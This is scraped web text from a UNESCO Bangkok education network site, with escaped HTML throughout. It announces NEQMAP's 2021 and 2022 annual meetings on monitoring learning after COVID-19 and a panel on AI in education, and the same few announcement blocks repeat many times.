As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

